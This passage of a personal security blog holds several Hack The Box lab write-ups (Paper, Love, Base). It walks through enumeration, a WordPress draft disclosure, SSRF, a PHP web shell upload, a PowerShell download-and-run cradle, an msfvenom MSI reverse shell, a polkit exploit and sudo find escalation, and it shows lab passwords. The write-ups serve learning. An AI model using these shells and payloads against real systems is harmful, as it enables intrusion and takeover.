2023-03-23T16:24:15.807+0000 writing admin.system.version to
2023-03-23T16:24:15.807+0000 done dumping admin.system.version (1 document)
2023-03-23T16:24:15.807+0000 writing blog.articles to
2023-03-23T16:24:15.807+0000 writing blog.users to
2023-03-23T16:24:15.808+0000 done dumping blog.articles (3 documents)
2023-03-23T16:24:15.808+0000 done dumping blog.users (1 document)

Then you can cat the user’s file and it will give you the password.

root@nodeblog:/dev/shm# cat dump/blog/users.bson
cat dump/blog/users.bson
n_ida�8
#sM� createdAt粳}usernameadminpassword▒IppsecSaysPleaseSubscribe__vroot@nodeblog:/dev/shm#

You can then su to root and capture the flags.

admin@nodeblog:/opt/blog$ sudo -l       
sudo -l
[sudo] password for admin: IppsecSaysPleaseSubscribe
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
admin@nodeblog:/opt/blog$ sudo su
sudo su
root@nodeblog:/opt/blog# cat /home/admin/user.txt
cat /home/admin/user.txt
4b7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8b37
root@nodeblog:/opt/blog# cat /root/root.txt
cat /root/root.txt
964▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓01b

NodeBlog Review

I’m rather tired after this one. I started this at 8:00 am and it is now lunchtime. What do I want to say about this box? I enjoyed NodeBlog but I definitely struggled with it and have lots of questions. Knowing hardly anything about the MEAN stack before starting this box made it harder, but now I feel a bit more equipped to take on more challenges. IppSec’s video does a great job of explaining this box and why it’s vulnerable and now so many things about the MEAN stack make sense to me. I found this box difficult and wouldn’t have had a clue without the walkthrough. That is entirely down to my lack of knowledge. At least now I know the things to look out for when attacking applications built on the MEAN stack. Thanks for NodeBlog IppSec, it rocks!

Hack The Box – Paper

Paper is a retired vulnerable Linux machine on Hack The Box created by secnigma. Hello world, welcome to haxez where today I will be attempting to hack the box named Paper. By the looks of it, the creator of this box enjoys The Office.

Paper Enumeration

As with all successful hacks, the first stage is to enumerate the system. We need to gather as much information about the system as possible. Information is the commodity of hacking and cybersecurity. The good guys try to protect it, the bad guys try to steal it. To start this information-gathering process, I used the tool Nmap to find out what services were running on the box.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ sudo nmap -sC -sV -p- -A 10.129.136.31 -oA paper
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 06:59 GMT
Nmap scan report for 10.129.136.31
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
| 256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_ 256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/22%OT=22%CT=1%CU=30873%PV=Y%DS=2%DC=T%G=Y%TM=641AA77
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

We can see from the output above that there are 3 ports open. Port 22 for SSH, port 80 for HTTP and port 443 for HTTPS (The encrypted version of HTTP). Visiting port 80 gives us a generic HTTP Server test page. I suspect that there isn’t much going on there but it does disclose a number of configuration file locations and that the host is CentOS.

Paper Server Test Page

We can come back to this later if needs be but let’s head over to port 443 and see what’s going on there. Ok, I was expecting some sort of redirect to happen but it’s the same page. I didn’t see anything in the Nmap scan that suggested a hostname. Furthermore, the certificate is for localhost.localdomain so I’m not sure what I’m supposed to see here.

Paper Interception

Using Burp Suite, we can intercept responses from the server which may give us more information about the host. Some headers like the server and powered by headers can tell us what the webserver version and utilised programming languages are. As you can see from the image below, there is an interesting header named ‘X-Backend-Server’ with the value of ‘office.paper’.

Paper Interception

Let’s add that to our host file and see whether we can visit that like a URL. I wonder if there is a ‘.paper’ Top Level Domain name. It could be good for a news organisation like news.paper. Perhaps not.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ echo "10.129.136.31 office.paper" | sudo tee -a /etc/hosts
10.129.136.31 office.paper

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 office.paper

Paper Web Application Enumeration

Interestingly, the HTTPS port remains to be a web server test page. However, the HTTP port now reveals a website for Blunder Tiffin. Poking around the website we can see that it appears to be a blog with posts coming from a user called Priosnmike. We should add that user to our notes as it may come into use in the future.

Paper website

I can take a guess as to what Content Management System is being used for the blog. However, in order to do this properly we’re going to use the tool whatweb to identify what technologies are in place. As you can see from the output below, the web app is powered by WordPress.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ whatweb http://office.paper/
http://office.paper/ [200 OK] Apache[2.4.37][mod_fcgid/2.3.9], Bootstrap[1,5.2.3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.129.136.31], JQuery, MetaGenerator[WordPress 5.2.3], OpenSSL[1.1.1k], PHP[7.2.24], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Blunder Tiffin Inc. &#8211; The best paper company in the electric-city Scranton!], UncommonHeaders[link,x-backend-server], WordPress[5.2.3], X-Backend[office.paper], X-Powered-By[PHP/7.2.24]

Finding Vulnerabilities

There are a number of ways you can identify vulnerabilities in WordPress. For example, you could find the version number in the page source somewhere and google vulnerabilities for that particular version. However, there is a tool that will do it for us provided you have an API key. Wp-scan is a great tool for finding WordPress vulnerabilities and as you can see below, it has found a great many.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ wpscan --url http://office.paper/ --api <your_api_key>
Paper WP Scan

We could poke at all the vulnerabilities 1 by 1 but let’s just head to the intended method. The vulnerability with the CVE designation CVE-2019–17671 lets an attacker view posts that haven’t been published yet. This could be embarrassing for an organisation, lord knows I have lots of unfinished and unpublished posts that I wouldn’t want anyone to see. Anyway, we can use this vulnerability to view unpublished posts by visiting the following URL.

http://office.paper/?static=1

Reading through the unpublished posts reveals another subdomain that we can add to our host’s file.

Hidden page

Rocket Chat

Adding the URL to our host file and visiting it in our browser reveals a Rocket Chat application. While we don’t have any credentials yet, let’s try signing up to see if we can access it. Sure enough, creating a user lets us log in to Rocket Chat and poke around. I need to stop for a moment just to say how awesome this box has been so far. The creator has done an incredible job of replicating the personality of The Office. It is actually very believable that this box was set up by the team from The Office.

Paper Rocket Chat

Moving forward, we can see that none other than Dwight Schrute has set up a bot to be more productive. However, Dwight Schrute more like Dwight Noob amirite, seems to have created a vulnerability in doing so. As you can see from the image below, we can list files.

Rocket chat disclosure

Paper Foothold

Now that we seem to have the ability to list directories and read files, let’s go after some credentials. Both WordPress and Rocket chat will have a database connection string file used to connect to their databases. If we can nab the password from one of those files, we might be able to use it to log in via SSH. If we ask recyclops to show us the following file, it will give us the password for the database. Furthermore, we can also find the users of the system by getting the /etc/passwd file. While your bot implementation wasn’t great, you do have excellent taste in video games Dwight. The password is ‘Queenofblad3s!23’ and we can see Dwight is an SSH user. He probably reuses passwords.

file ../hubot/.env
Rocket Chat RCE

And just like that, we’re in and grab ourselves a fresh user flag. However, it doesn’t seem that Dwight has given himself sudo. That’s questionable.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ ssh [email protected]
The authenticity of host '10.129.136.31 (10.129.136.31)' can't be established.
ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.136.31' (ED25519) to the list of known hosts.
[email protected]'s password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ cat /home/dwight/user.txt
3b05▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a25

Back To Enumerating

For each step forward we take we must go back to our first step and start enumerating again. As soon as we get a new level of access, enumerate! I downloaded a copy of LinPEAS locally and span up a python web server. I then used wget on the target system to download the file. Next, I gave it executable permissions and ran it.

┌──(kali㉿kali)-[~/Paper]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230319/linpeas.sh
linpeas.sh 100%[=======================================>] 808.76K --.-KB/s in 0.1s
2023-03-22 08:39:04 (6.04 MB/s) - 'linpeas.sh' saved [828172/828172]

┌──(kali㉿kali)-[~/Paper]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I’ve added the screenshot below for no other reason than to include the pea, it’s adorable and I will never not include them in my writeups.

Paper LinPEAS

Privilege Escalation

This is interesting, the official walkthrough and many other walkthroughs discuss CVE-2021–3560 Polkit Privilege Escalation. However, as you can see from the screenshot below, this did not show up in my LinPEAS results.

Hmmmm Not The CVE I was looking for

I decided to check the version of polkit bit querying the package manager and it does seem to be the vulnerable version as you can see from the output below. Furthermore, the GitHub page also explains that it has been tested with this version of Polkit and that it works.

[dwight@paper tmp]$ rpm -qa | grep -i polkit
polkit-0.115-6.el8.x86_64
polkit-pkla-compat-0.1-12.el8.x86_64
polkit-libs-0.115-6.el8.x86_64
GitHub Said So

What’s interesting is that it does add the user correctly but I’m unable to switch to that user once the exploit is complete. As you can see from the images below, the exploit runs and adds the user ‘haxez’ with the password ‘haxez’. I have confirmed that the user is added to /etc/passwd but was unable to switch to that user.

haxez:x:1006:1006:haxez:/home/haxez:/bin/bash

Was this the unintended method of PE and has since been patched? Has something else happened to the system that has stopped it from working? What if I’m never able to get the root flag for this box?

Never mind, it seems that there is a clean-up script which goes through and removes users. I think this was added on so that we could keep trying the exploit. Perhaps my timing was just awful and it was cleaning up right after I ran the exploit. Fortunately, the exploit finally worked (after many many attempts) and as you can see below we can now grab the root flag.

[dwight@paper tmp]$ su - secnigma
Password:
su: Authentication failure
[dwight@paper tmp]$ bash poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper tmp]$ su - secnigma
Password:
[secnigma@paper ~]$ sudo su -
[sudo] password for secnigma:
[root@paper ~]# cat /root/root.txt
447▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e6a

Paper Review

This was an absolutely phenomenal box in my opinion. It wasn’t too easy and it did a great job of carefully nudging you forward. This is what all easy boxes should be like in my opinion. Publicly known exploits that the user has to find. Unfortunately for whatever reason LinPEAS didn’t seem to find the vulnerability, I should have run other tools on it to see if they found it. I love how strongly this box was themed and I wish more boxes had stronger themes like this. I loved the web app challenges on Hack This Site for that very reason. Giving it a strong theme allows me to immerse myself in the challenge rather than just exploiting another box. I also enjoy anything with WordPress as I’ve used WordPress for many years and love finding out new quirks. Anyway, that’s all from me today, I’m going to submit my flags, give secnigma my respect and leave a nice review.

Hack The Box – Love

Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.

Love Enumeration

After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nmap -sC -sV -p- 10.129.48.103 --min-rate 10000 -oA love
Love Nmap Results

As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ crackmapexec smb 10.129.48.103
Love Crackmapexec

Love Web Application Enumeration

After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.

Love Voting System

Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo whatweb -a3 http://10.129.48.103/ -v
Love whatweb

I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ gobuster dir -u http://10.129.48.103/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt,bak -o gobuster.love.txt
Love Gobuster

More Love Application Enumeration

I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.

Forbidden

Subdomains and Virtual Hosts

I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of staging.love.htb.

SSL certificiate

Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ echo '10.129.48.103 staging.love.htb' | sudo tee -a /etc/hosts
Forbidden Again

However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.

File Scanner

Server-Side Request Forgery

I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.

File scanner

There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of 127.0.0.1 followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.

Password dashboard

Voting System Admin

With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.

Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.

Voting Dashboard

Love RCE POC

I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.

Exploit

Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.

Exploit

Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.

------WebKitFormBoundaryM93O7d6XpEp6S0dP
Content-Disposition: form-data; name="photo"; filename="haxez.php"
Content-Type: image/jpeg
<?php system($_REQUEST["cmd"]); ?>
Modify the payload

Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.

Directory listing RCE POC

Love Foothold

Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.

Nishang payload

Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.

cmd=powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.36/hax.ps1')"

I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59730
PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt
d85▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓319

Love Privilege Escalation

After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.

Love WinPEAS

With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.36 LPORT=9002 -f msi > payload.msi
Love msfvenom

I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.

PS C:\users\public\documents> curl http://10.10.14.36/payload.msi -o payload.msi
PS C:\users\public\documents> .\payload.msi

Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.

──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9002
[sudo] password for kali:
listening on [any] 9002 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59734
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>type \users\administrator\desktop\root.txt
type \users\administrator\desktop\root.txt
64b▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓95f

Love Learnings

Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.

The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.

Hack The Box – Base

Hello world, welcome to haxez where in this post I will be taking a look at the Hack The Box Machine Base. This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.

Base Enumeration

Ok so first, after spawning the machine we ping it to check that it’s online.

[10.10.14.57]─[joe@parrot]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt
PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data.
64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms
64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms

The machine is talking to us! we have it right where we want it! Time to hit it with nmap.

[10.10.14.57]─[joe@parrot]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST
Nmap scan report for 10.10.10.48
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Kicking off Dirb

It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories.

[10.10.14.57]─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22 
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
 — — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — — 
==> DIRECTORY: http://10.10.10.48/_uploaded/ 
==> DIRECTORY: http://10.10.10.48/login/ 
+ http://10.10.10.48/server-status (CODE:403|SIZE:276) 
==> DIRECTORY: http://10.10.10.48/static/ 
— — Entering directory: http://10.10.10.48/_uploaded/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/ 
==> DIRECTORY: http://10.10.10.48/static/images/ 

Base Directory Listing

Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.

Base directory listing /login
Base directory listing /login
Base directory listing /static
Base directory listing /static

PHP Login Logic

There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:

<?php
session_start();
if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) {
require(‘config.php’);
if (strcmp($username , $_POST[‘username’]) == 0) {
if (strcmp($password, $_POST[‘password’]) == 0) {
$_SESSION[‘user_id’] = 1;
header(“Location: upload.php”)
} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}

It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can break the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.

Base web application login
Base web application login

Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.

Burp intercept array manipulation
Burp intercept array manipulation

Base Application Foodhold

Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and capture it from there.

Base upload page
Base upload page

Reverse Shell

I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.

[10.10.14.57]─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php

As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.

$ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
www-data@base:/$
Base Host Enumeration

Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.

www-data@base:/$ cat /var/www/html/login/config.php
cat /var/www/html/login/config.php
<?php
$username = “admin”;
$password = “thisisagoodpassword”;

*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.

www-data@base:/$ ls /home
john
www-data@base:/$ ls /home/john
user.txt

Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.

www-data@base:/$ su john
su john
Password: thisisagoodpassword
john@base:/$

I believed in you john and you let me down. While we’re here lets grab the user flag from johns home directory.

john@base:/$ cat /home/john/user.txt
cat /home/john/user.txt
0011000100110011<haXez>0011001100110111

Base Privilege Escalation

With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.

john@base:/$ id
uid=1000(john) gid=1000(john) groups=1000(john)john@base:/$ sudo -l
[sudo] password for john: thisisagoodpassword
Matching Defaults entries for john on base:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on base:
(root : root) /usr/bin/find

It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.

john@base:/$ sudo find . -exec /bin/sh \; -quit
# whoami
root

Now all that’s left to do is grab the root flag and we’re done with starting point.

# cat /root/root.txt
0011000100110011<haXez>0011001100110111

Hack The Box – Included

